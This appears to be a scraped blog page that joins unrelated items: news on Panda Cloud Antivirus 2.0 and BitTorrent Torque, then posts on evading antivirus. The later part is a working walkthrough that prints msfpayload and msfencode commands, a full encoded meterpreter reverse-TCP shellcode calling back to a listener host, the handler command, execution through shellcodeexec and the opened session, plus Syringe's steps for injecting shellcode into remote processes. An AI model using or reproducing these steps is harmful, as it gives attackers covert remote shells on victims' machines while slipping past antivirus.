Panda Cloud Antivirus 2.0 brings faster, smarter detection

Panda Security has released an overhauled version of its cloud-based antivirus software today, bringing a slew of new features including an updated interface and Windows 8 compatibility. Available in both free and paid versions, Panda Cloud Antivirus 2.0 touts 50% faster on-demand scans, improved disinfection rates and reduced memory usage.

Previously limited to the paid version, free users now benefit from Panda's behavioral analysis engine. The free software also packs a new cloud-based disinfection engine, improved offline protection, the ability to display individual processes for everything connected to the Internet, URL and Web filtering, as well as new advanced configuration options.

The Pro Edition costs $30 a year and contains all of the above in addition to a new community-based firewall that manages permissions with real-time knowledge from Panda's global userbase, protection on public Wi-Fi networks, and automatic "USB vaccination." Pro customers also get an ad-free experience and 24/7 multilingual support.

Although Panda isn't particularly popular compared to solutions by Microsoft, ESET, AVG, Avira and Avast, the company's software ranks well among many independent antivirus testing outfits. Panda Cloud Antivirus 1.5.2, for instance, earned AV-Test's certification award a few months back with high ratings for protection, repair and usability.

If you're already using an older version of Panda Cloud Antivirus, it should update automatically in the coming days or you can manually download the latest build here. Be sure to uninstall antiviruses by other companies before you try Panda. Also, watch for an installation option that installs a toolbar and changes your default search provider.

BitTorrent Torque web app turn browser into a file-sharing hub

The company behind the popular torrent downloading software uTorrent has announced a new project called BitTorrent Torque, an alpha release set of tools that can be run from HTML5-compliant web browsers like Google Chrome, turning them into a fully-fledged file-sharing hub.

Lead developer Patrick Williams explains in the blog announcement that Torque works by providing a JavaScript hook to a custom BitTorrent backend. "Torque is a JavaScript interface to a custom torrent client that exposes all the power of BitTorrent to web developers.  Simply put, it allows anyone to utilize our powerful technology to create completely fresh and new experiences for users with just a couple lines of code."

There are currently two extensions available, the first (pictured below) is Paddle Over, which integrates drag and drop file transfers via social networking and sharing as well as other computers. The second extension is OneClick, which is currently available for Google Chrome and is used to convert a typical torrent download into a simple to manage standard in-browser download.

Future Torque extensions will further demonstrate the potential capabilities of its APIs and will eventually provide video streaming, file transcoding and antivirus scanning, among other functions. Right now bugs are expected as it's currently an alpha build, but as time passes its creators hope to increase functionality.

"Torque is both an underlying, fully fledged torrent client, as well as a simple JavaScript interface designed to make the technology as accessible as possible," Williams told TorrentFreak. "Our hope is that the development and use of torrent technologies can scale the same way that a torrent swarm does, and this is our initial effort towards that goal."

The software is still in its infancy, but with web apps gaining more functionality due to CSS3, HTML5 and JavaScript maturing it has resulted in developers being able to create web apps that run across multiple OS ecosystems, saving them resources, time and money.

Evading Antivirus Emulator using stealth meterpreter

A nice tutorial from Y0nd13, based on known techniques to evade antivirus:

1. Use metasploit’s msfencode to ‘pack’ the backdoor:
http://www.offensive-security.com/metasploit-unleashed/Antivirus_Bypass

2. Use custom loader:
http://www.coresec.org/2011/04/22/execute-metasploit-payloads-using-shellcodeexec/

Download the presentation here

Execute Metasploit Payloads using ShellCodeExec

According to Damel Bernardo’s Blog, this is another good way to bypass any antivirus protection.

Let’s see how it works!

Features

shellcodeexec:

• Can be compiled and works on POSIX (Linux/Unices) and Windows systems.
• Can be compiled and works on 32-bit and 64-bit architectures.
• As far as I know, no AV detect it as malicious.
• Works in DEP/NX-enabled environments: it allocates the memory page where it stores the shellcode as +rwx – Readable Writable and eXecutable.
• It supports alphanumeric encoded payloads: you can pipe your binary-encoded shellcode (generated for instance with Metasploit’s msfpayload) to Metasploit’s msfencode to encode it with the alpha_mixed encoder. Set the BufferRegister variable to EAX registry where the address in memory of the shellcode will be stored, to avoid get_pc() binary stub to be prepended to the shellcode.
• Spawns a new thread where the shellcode is executed in a structure exception handler (SEH) so that if you wrap shellcodeexec into your own executable, it avoids the whole process to crash in case of unexpected behaviours.

Example

1. Generate a Metasploit shellcode and encode it with the alphanumeric encoder. For example for a Windows target:

Code:

$ msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
 
[*] x86/alpha_mixed succeeded with size 634 (iteration=1)
PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlKXNiEPEPC0CPMYIuTqN2E4LKV2P0NkCbTLLKQBEDNkQbGXTOLwCzEvP1IoTqIPNLGLCQQlERTlEpIQZoVmEQO7KRZPPRQGNkCbTPLKRbElEQZpNkCpQhLEIPQdPJGqZpPPLKQXR8NkQHEpGqN3M3ElG9LKP4NkEQZvP1KOEaO0LlO1ZoTMEQIWVXM0QeKDTCCML8EkQmEtPuIrV8LKQHEtC1KcE6NkVlRkNkRxELC1ICLKETNkGqN0MYRdQ4VDQKCkCQPYCjCaIoKPV8CoPZLKR2ZKMVCmQxVSGBC0EPRHCGPsP2QORtCXPLCGEvEWIoZuX8LPGqEPGpQ9ITCdV0CXEyMPPkC0IoKeRpV0RpPPCpPPG0RpPhIzTOIOKPKOKeLWRJEUPhKpNHMXVaRHVbC0R1ClMYM6PjTPCfV7E8NyI5PtQqKOIEMUKpT4TLIoPNVhCEXlRHXpOEI2PVIoZuQzGpRJGtV6QGQxC2IIZhQOKON5LKP6PjCpCXEPVpC0EPPVCZEPQxV8OTCcM5IoN5LSPSPjEPQFCcV7CXC2KiIXQOIoZuC1KsVIO6OuZVCEXlISAA

2. Execute the Metasploit multi/handler listener on your machine. For example for a Windows target:

Code:

$ msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E

3. Execute the alphanumeric-encoded shellcode with this tool. For example on the Windows target:

Code:

C:\WINDOWS\Temp>shellcodeexec.exe PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlKXNiEPEPC0CPMYIuTqN2E4LKV2P0NkCbTLLKQBEDNkQbGXTOLwCzEvP1IoTqIPNLGLCQQlERTlEpIQZoVmEQO7KRZPPRQGNkCbTPLKRbElEQZpNkCpQhLEIPQdPJGqZpPPLKQXR8NkQHEpGqN3M3ElG9LKP4NkEQZvP1KOEaO0LlO1ZoTMEQIWVXM0QeKDTCCML8EkQmEtPuIrV8LKQHEtC1KcE6NkVlRkNkRxELC1ICLKETNkGqN0MYRdQ4VDQKCkCQPYCjCaIoKPV8CoPZLKR2ZKMVCmQxVSGBC0EPRHCGPsP2QORtCXPLCGEvEWIoZuX8LPGqEPGpQ9ITCdV0CXEyMPPkC0IoKeRpV0RpPPCpPPG0RpPhIzTOIOKPKOKeLWRJEUPhKpNHMXVaRHVbC0R1ClMYM6PjTPCfV7E8NyI5PtQqKOIEMUKpT4TLIoPNVhCEXlRHXpOEI2PVIoZuQzGpRJGtV6QGQxC2IIZhQOKON5LKP6PjCpCXEPVpC0EPPVCZEPQxV8OTCcM5IoN5LSPSPjEPQFCcV7CXC2KiIXQOIoZuC1KsVIO6OuZVCEXlISAA

If you head back to the terminal where the multi/handler is running you will happily see:

Code:

$ msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUhread LPORT=4444 LHOST=192.168.136.1 E
[*] Please wait while we load the module tree...
 
[...]
 
=[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 673 exploits - 354 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
=[ svn r12306 updated 7 days ago (2011.04.07)
 
PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => thread
LPORT => 4444
LHOST => 192.168.136.1
[*] Started reverse handler on 192.168.136.1:4444
[*] Starting the payload handler...
[*] Sending stage (749056 bytes) to 192.168.136.129
[*] Meterpreter session 1 opened (192.168.136.1:4444 -> 192.168.136.129:1581) at Thu Apr 14 15:30:15 +0100 2011
 
meterpreter > sysinfo
System Language : en_US
OS : Windows .NET Server (Build 3790, Service Pack 2).
Computer : W2K3R2
Architecture : x86
Meterpreter : x86/win32

The tool along with compilation files for POSIX and Windows systems can be found athttps://github.com/inquisb/shellcodeexec.

[source]

Syringe – DLL and Shellcode Process Injection Utility

If you remember about an old post of ours – Shellcodeexec, you might have a faint idea of what Syringe does. Shellcodeexec is a small script to execute in memory a sequence of opcodes. What it does is it spawns a new thread where the shellcode is executed in a structure exception handler (SEH). Syringe is a general purpose injection utility for the Windows platform. It supports injection of DLLs, and shellcode into remote processes as well execution of shellcode (via the same method of shellcodeexec). It can be very useful for executing Metasploit payloads while bypassing many popular anti-virus implementations as well as executing custom made DLLs.


Syringe can inject this modified version into the remote process and successfully execute shellcode in its context, interact with our shellcode and exit out of it, without damaging the remote process. Implimenting this technique, it provides users an easy way of injecting shellcode into 32-bit processes while bypassing most forms of antiviruses! Simply put, this technique is implimented by Syringe follows these steps:


Opens a handle to the remote process.
Uses VirtualAllocEx to allocate memory in the remote process with the necessary permissions of read, write, and execute.  Then uses WriteProcessMemory to copy the shellcode to the remote buffer.
Repeats step #2 with the assembly stub.
Starts the assembly stub via a call to CreateRemoteThread, with a pointer to the assembly stub as the function to execute and a pointer to the remote shellcode as the argument.